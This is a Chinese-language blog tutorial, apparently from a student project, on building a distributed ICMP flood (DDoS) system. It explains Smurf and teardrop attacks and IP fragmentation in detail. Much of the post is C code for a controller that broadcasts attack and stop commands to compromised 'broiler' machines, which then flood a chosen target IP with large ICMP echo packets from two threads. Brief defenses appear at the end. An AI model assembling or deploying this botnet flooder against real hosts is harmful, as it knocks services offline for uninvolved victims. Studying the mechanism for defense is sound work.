关键字: DDoS 主控机 肉机 分布式
免责申明:此程序(工具)可能带有攻击性,分享目的仅供大家学习、参考、安全研究与教学使用,读者将其用作其它用途或进行违法犯罪行为,由读者承担全部法律及连带责任。此程序不保证其完整性和安全性,git后请自行调试与检测,在使用过程中出现任何问题均与本人无关,请自行处理。最后,请尊重个人劳动成果,转载请注明出处。
00x1 前言
在上一篇文章里,我们了解了DoS攻击的各种类别和原理,今天我们将讨论DoS攻击的发展趋势——DDoS(分布式拒绝服务攻击),我们将从一次项目的实践来了解这个令人讨厌又无赖的“恐怖分子”。
00x2 项目介绍
项目课题:利用原始套接字构造数据包,在同一时刻向一个拥有多台的主机网络发送广播数据包,该广播报的源地址为被攻击主机的IP地址。
项目要求:
- 使用Libnet或者原始套接字;
- 支持ICMP协议发送广播包;
- 在千兆环境下网络带宽瞬时占用率超过10%;
- 被攻击主机处理器耗用超过50%。
项目设计:
- 主控机发送攻击指令;
- 主控机显示进行攻击的肉鸡的IP地址;
- 肉鸡接收指令后发送攻击包;
- 肉鸡监听是否有停止攻击的指令;
- 主控机可发送指令停止攻击;
- 一个简(sao)单(qi)的cmd用户友好界面。
00x3 原理解释
Smurf反射型ICMP的回显攻击如下图所示:
改进后的ICMP DDoS攻击原理如下图所示:(类似于ping洪泛)
整个攻击流程如下:
肉鸡启动服务器开始监听一个大序号端口;
主控机用UDP协议通过大序号端口发送指令;
主控机回显已经开始执行攻击的肉鸡的IP地址;
肉鸡接收到对应指令后开始启动攻击;
肉鸡持续不断地向被害机发送65500大小(大小可调)的ICMP包。
攻击原理:
- 流氓式发包法
- 发送一系列高度碎片化的过大的ICMP数据包
攻击前提
- 需要长期的准备,首先找到足够多的中间网络
- 集中向这些中间网络发出UDP指令包,命令这些中间网络向被害者发出ICMP包
整体的DDoS攻击框架就是这样,中间实现的攻击类别可以随意改动,以上内容足以构成DDoS攻击的前提条件了,如果对碎片化攻击不感兴趣的读者可以跳到第四部分代码分析接着阅读,如果想更好地理解数据包在TCP/IP五层架构上的分段、分片、重组原理,想更清晰地明白DDoS攻击产生的原因,那么请阅读下面对teardrop(泪滴)的详细分析。
通过上一篇文章深入了解DoS攻击-理论我们知道teardrop是指发送一系列高度碎片化的过大的ICMP数据包,利用那些在TCP/IP协议栈实现中,信任IP碎片中的包的标题头所包含的信息来实现自己的攻击。IP分段含有指示该分段所包含的是原包的哪一段的信息,某些TCP/IP(包括service pack 4以前的NT)在收到含有重叠偏移的伪造分段时将崩溃。
在介绍以下一些专有名词的概念时,看一下数据在TCP/IP五层协议上的封装情况:
在每一层封装的信息如下图所示:
接下来参考图片我们了解几个专有名词的概念:
MTU: Maxitum Transmission Unit 最大传输单元
以太网最大的数据帧是1518Bytes,刨去以太网帧的帧头(DMAC目的地址MAC48bit=6Bytes+SMAC源MAC地址48bit=6Bytes+Type域2bytes)14Bytes和帧尾CRC校验部分4Bytes(这个部分有时候大家也把它叫做FCS),那么剩下承载上层协议的地方也就是Data域最大就只能有1500Bytes. 这个值我们就把它称之为MTU。
太网的MTU是1500,再减去PPP的包头包尾的开销(8Bytes),就变成1492。
MSS:Maxitum Segment Size 最大分段大小
MSS就是TCP数据包每次能够传输的最大数据分段。为了达到最佳的传输效能TCP协议在建立连接的时候通常要协商双方的MSS值,这个值TCP协议在实现的时候往往用MTU值代替(需要减去IP数据包包头的大小20Bytes和TCP数据段的包头20Bytes)所以往往MSS为1460。通讯双方会根据双方提供的MSS值的最小值确定为这次连接的最大MSS值。
TCP自身支持分段:当TCP要传输长度超过MSS(Maxitum Segment Size)的数据时,会先对数据进行分段,正常情况下,MSS小于MTU,因此,TCP一般不会造成IP分片。
UDP/ICMP在网络层的分片过程
UDP和ICMP不支持这种分段功能,UDP和ICMP认为网络层可以传输无限长(实际上有65535的限制)的数据,当这两种协议发送数据时,它们不考虑数据长度,仅在其头部添加UDP或ICMP首部,然后直接交给网络层。接着网络层IP协议对这种“身长头短”的数据进行分片,不要指望IP能很“智能”地识别传给它的数据上层头部在哪里,载荷又在哪里,它会直接将整个的数据切成N个分片,这样做的结果是,只有第一个分片具有UDP或者ICMP首部,而其它分片则没有。
对于分片,需要拷贝IP首部和选项,以及数据。而选项的拷贝要注意:根据协议标准,某些选项只应当出现在的一个数据包片中,而其他一些则必须出现在所有的数据包中。
以下这幅图更容易理解TCP分段和UDP分片的区别:
分片时偏移量的计算:
分片可以发生在原始发送端主机上,也可以发生在中间路由器上。
片偏移字段指的是该片偏移原始数据报开始处的位置。
当数据报被分片后,每个片的总长度值要改为该片的长度值。
在分片时,除最后一片外,其他每一片中的数据部分(除IP首部外的其余部分)必须是8字节的整数倍。
下面两张图展示了片偏移量的计算过程:
分片重组过程
如图所示:
- 当内核接收到本地的IP包, 在传递给上层协议处理之前,先进行碎片重组。IP包片段之间的标识号(id)是相同的.当IP包片偏量(frag_off)第14位(IP_MF)为1时, 表示该IP包有后继片段。片偏量的低13位则为该片段在完整数据包中的偏移量, 以8字节为单位.。当IP_MF位为0时,表示IP包是最后一块碎片。
- 碎片重组由重组队列完成, 每一重组队列对应于(daddr,saddr,protocol,id)构成的键值,它们存在于ipq结构构成的散列链之中. 重组队列将IP包按照将片段偏移量的顺序进行排列,当所有的片段都到齐后, 就可以将队列中的包碎片按顺序拼合成一个完整的IP包。
- 这样就能理解teardrop的攻击原理了吧。
(注:teardrop攻击的解决方案为——如果30秒后重组队列内包未到齐, 则重组过程失败, 重组队列被释放,同时向发送方以ICMP协议通知失败信息.重组队列的内存消耗不得大于256k(sysctl_ipfrag_high_thresh),否则将会调用(ip_evictor)释放每支散列尾端的重组队列。)
分片的标志字段
与分片有关的是'标志'字段,标志字段占3bit。目前只有前两个比特有意义。 |R|DF|MF|
- R:保留未用
- DF:Don't Fragment,“不分片”位,如果将这一比特置1 ,IP层将不对数据报进行分片
- MF:More Fragment,“更多的片”,除了最后一片外,其他每个组成数据报的片都要把该比特置1
对分片的分析可以自己发送一个很大的ICMP包,用wireshark抓包分析以上的信息:
引入多线程
进程在执行的过程中如果阻塞,例如等待输入,整个进程就会挂起,即使进程中有些工作不依赖于输入的数据,也将无法执行。而解决办法就是让单个进程,接受请求、等待I/O、处理计算并行起来,这样很明显可以避免同步等待,提高执行效率,在实际操作系统中这样的机制就是——线程。
00x4 代码解析
准备工作:处理用户输入
int user_input;
char dst_ipaddr[20];
scanf_s("%d", &user_input);
_itoa_s(user_input, szMsg,10);
//szMsg[0] = user_input + '/0';
//Processing user input
switch (user_input)
{
case 0:
exit(0);
break;
case 1:
printf("please input your dst target IP address:\n");
scanf("%s",dst_ipaddr);
printf("your target is : %s\n",dst_ipaddr);
strcat_s(szMsg, dst_ipaddr);
break;
case 2:
printf("you will stop the DDos!\n");
break;
default:
printf("your input is invalid,you must be joking!\n");
exit(0);
break;
}
广播数据包&设置recv超时
//Set the socket to the broadcast type
bool bOpt = true;
setsockopt(connect_socket, SOL_SOCKET, SO_BROADCAST, (char*)&bOpt, sizeof(bOpt));
//Setting Receive Timeout
setsockopt(connect_socket,SOL_SOCKET,SO_RCVTIMEO,(char *)&timeout,sizeof(struct timeval));
while ((time(NULL) - time_start)<2)
{
// Receiving confirmation data from broilers
int nSendSize = recvfrom(connect_socket, buff, MAX_BUF_LEN, 0, (SOCKADDR*)&si_from, &nAddrLen);
if (SOCKET_ERROR == nSendSize)
{
//err = WSAGetLastError();
//printf("\"recvfrom\" error! error code is %d\n", err);
break;
}
buff[nSendSize] = '\0';
printf("received from babe: %s\n", buff);
}
获取肉鸡IP地址
//Return only one IP address
bool GetLocalIP(char* ip)
{
//1.Initialize wsa
WSADATA wsaData;
int ret = WSAStartup(MAKEWORD(2, 2), &wsaData);
if (ret != 0)
{
return false;
}
//2.Get the host name
char hostname[256];
ret = gethostname(hostname, sizeof(hostname));
if (ret == SOCKET_ERROR)
{
return false;
}
//3.Get the host ip
HOSTENT* host = gethostbyname(hostname);
if (host == NULL)
{
return false;
}
//4.Convert to char* and copy back
strcpy(ip, inet_ntoa(*(in_addr*)*host->h_addr_list));
return true;
}
肉鸡对主控机的指令进行分析
int command_num=buf[0]-48;
if (command_num==1)
{
// send data
int nSendSize = sendto(sClient, buff, strlen(buff), 0, (SOCKADDR*)&clientAddr, nAddrLen);
if (SOCKET_ERROR == nSendSize)
{
int err = WSAGetLastError();
printf("\"sendto\" error!, error code is %d\n", err);
return false;
}
char ip_addr[20];
strncpy_s(ip_addr,buf+1,13);
dest_ipaddr = inet_addr(ip_addr);
hIcmpFile = IcmpCreateFile();
if (hIcmpFile == INVALID_HANDLE_VALUE) {
printf("\tUnable to open handle.\n");
printf("IcmpCreatefile returned error: %ld\n", GetLastError());
system("pause");
return 1;
}
ReplySize = sizeof(ICMP_ECHO_REPLY) + sizeof(SendData);
ReplyBuffer = (VOID*)malloc(ReplySize);
if (ReplyBuffer == NULL) {
printf("\tUnable to allocate memory\n");
system("pause");
return 1;
}
}
if(command_num==2)
{
printf("stop the attacking successfully!\n");
return 0;
}
else
{
printf("the command not valid and was ignored.\n", buf);
continue;
}
创建ICMP句柄并构建ICMP包
hIcmpFile = IcmpCreateFile();
if (hIcmpFile == INVALID_HANDLE_VALUE) {
printf("\tUnable to open handle.\n");
printf("IcmpCreatefile returned error: %ld\n", GetLastError());
system("pause");
return 1;
}
ReplySize = sizeof(ICMP_ECHO_REPLY) + sizeof(SendData);
ReplyBuffer = (VOID*)malloc(ReplySize);
if (ReplyBuffer == NULL) {
printf("\tUnable to allocate memory\n");
system("pause");
return 1;
}
利用多线程进行发包&监听指令
HANDLE HOne, HTwo;
InitializeCriticalSection(&CriticalSection);
printf("***********************icmpATTACK******************\n");
HOne = CreateThread(NULL, 0, ThreadOne, NULL, 0, NULL);
HTwo = CreateThread(NULL, 0, ThreadTwo, NULL, 0, NULL);
CloseHandle(HOne);
CloseHandle(HTwo);
DWORD WINAPI ThreadOne(LPVOID lpParameter)
{
printf("thread1 start attacking!...\n");
DWORD dwRetVal_1 = 0;
while (1)
{
EnterCriticalSection(&CriticalSection);
if (number>0)
{
dwRetVal = IcmpSendEcho(hIcmpFile, dest_ipaddr, SendData, sizeof(SendData), NULL, ReplyBuffer, ReplySize, 1000);
//Sleep(100);
}
LeaveCriticalSection(&CriticalSection);
//Sleep(10);
}
return 0;
}
DWORD WINAPI ThreadTwo(LPVOID lpParameter)
{
printf("thread2 start attacking and listening!...\n");
DWORD dwRetVal_2 = 0;
while (1)
{
EnterCriticalSection(&CriticalSection);
if (number>0)
{
dwRetVal_2 = IcmpSendEcho(hIcmpFile, dest_ipaddr, SendData, sizeof(SendData), NULL, ReplyBuffer, ReplySize, 1000);
number++;
int nRet = recvfrom(sClient, buf, 256, 0, (struct sockaddr FAR *)&clientAddr, (int FAR *)&fromlength);
if (SOCKET_ERROR == nRet)
{
LeaveCriticalSection(&CriticalSection);
continue;
//printf("\"recvfrom\" error! error code is %d\n");
//break;
}
else
{
int command_num=buf[0]-48;
if (command_num==2)
{
printf("the dos attack is stop!\n");
exit(0);
}
}
}
//Sleep(10);
}
}
00x5 防御措施
- 入侵检测系统
- 防火墙在给定时间内挂起阻塞的数据包,若包一直没有重组成功,超时自动释放此chain达到释放内存的作用
- 直接在防火墙对分片段的数据包进行重组,而不是转发它们,重组完成后再将完整的包发给主机
- 关闭外来的IP广播消息,但是,如果攻击者从内部机器发起攻击,仍然不能阻止smurf攻击
千里之行始于足下,懂得攻击的原理才会懂得如何防御。
(注:本人是个刚起步的小菜鸡,表达能力也不强,总结得不对的地方还请大家多多包涵,欢迎大家相互交流,共同学习,一起进步,感激不尽)
感谢以下博客文章给予我启发:
【ICMP协议和IP数据报分片分析】:https://wenku.baidu.com/view/429144d6c850ad02de8041c9.html
【IP数据包分片分析】:https://www.2cto.com/kf/201608/535412.html
【IP分片报文的接收与重组】:https://blog.csdn.net/sinat_20184565/article/details/82670126